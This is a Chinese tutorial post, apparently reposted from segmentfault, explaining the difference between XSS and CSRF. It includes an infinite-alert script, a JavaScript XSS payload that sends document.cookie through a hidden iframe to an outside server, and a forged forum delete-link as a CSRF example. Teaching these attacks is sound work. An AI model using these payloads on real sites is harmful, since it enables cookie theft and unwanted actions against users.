安全相关

XSS与CSRF

摘自:https://segmentfault.com/a/1190000007059639

XSS:跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言

CSRF:跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法

【简单说】

XSS: 通过客户端脚本语言(最常见如:JavaScript)在一个论坛发帖中发布一段恶意的JavaScript代码就是脚本注入,如果这个代码内容有请求外部服务器,那么就叫做XSS。

CSRF:又称XSRF,冒充用户发起请求(在用户不知情的情况下),完成一些违背用户意愿的请求(如恶意发帖,删帖,改密码,发邮件等)。

很多同学会搞不明白XSS与CSRF的区别,虽然这两个关键词时常抱团出现,但他们两个是不同维度的东西(或者说他们的目的是不一样的)。XSS更偏向于方法论,CSRF更偏向于一种形式,只要是伪造用户发起的请求,都可成为CSRF攻击,但一定要有发起的请求,而XSS一定要有脚本的注入并且是跨站的。

通常来说CSRF是由XSS实现的,所以CSRF时常也被称为XSRF(用XSS的方式实现伪造请求),但实现的方式绝不止一种,还可以直接通过命令行模式(命令行敲命令来发起请求)直接伪造请求。XSS更偏向于代码实现(即写一段拥有跨站请求功能的JavaScript脚本注入到一条帖子里,然后有用户访问了这个帖子,这就算是中了XSS攻击了),CSRF更偏向于一个攻击结果,只要发起了冒牌请求那么就算是CSRF了。

简单来说,条条大路(XSS路,命令行路)通罗马(CSRF马,XSRF马)。

【实际代码】

场景:我在一条帖子里面写下了如下代码,发了出去,然后陆陆续续有很多用户访问到这个帖子,然后用户接下来的所有操作都由我这串代码掌控了,如下:

while(true){
    alert('你关不掉我');
}

这个就是最原始的脚本注入了。用户进来就麻烦了,一直弹窗一直弹窗。

那么XSS(跨站脚本)就是照瓢画葫了,用JavaScript写一个请求跨站的脚本就是XSS了,如下:

// 用 <script type="text/javascript"></script> 包起来放在评论中
(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隐藏 iframe 用于通讯
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

此段代码携带着cookie信息传输给了 http://192.168.123.123/myxss/... 这个服务器,然后服务器的代码就可以接收到了用户的隐私消息,继而继续做其他的业务处理(myxss/index.php 中写一些可怕的代码,如把用户信息存进自己的数据库)。

上面的代码仅仅是XSS,并没有发生CSRF,因为192.168.123.123/myxss/index.php 仅仅是把用户信息存起来了而已,他并没有“伪造”用户发起一些请求,所以他只算是XSS攻击而不算是CSRF攻击,如果192.168.123.123/myxss/index.php 写的代码是 将当前用户的昵称改为“我是大笨猪”,那么就算是CSRF攻击了,因为这段代码伪造用户发出了请求(但是用户却不自知)。

而最最简单的CSRF攻击(没有用到XSS)如下:

一个论坛,经过我的多次抓包分析(着重分析请求返回头,请求返回体)了解到这个论坛的删帖操作是触发csdnblog.com/bbs/delete_article.php?id=“X" 那么,我只需要在论坛中发一帖,包含一链接:www.csdnblog.com/bbs/delete_article.php?id=“X" ,只要有用户点击了这个链接,那么ID为X的这一篇文章就被删掉了,而且是用户完全不知情的情况(此处没有写XSS脚本,纯粹是发一个url地址出来而已,既然删除操作可以伪造,那么只要细细分析,其他操作(发帖,改名字,发私信,只要是这个论坛具有的功能)都可以伪造!

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值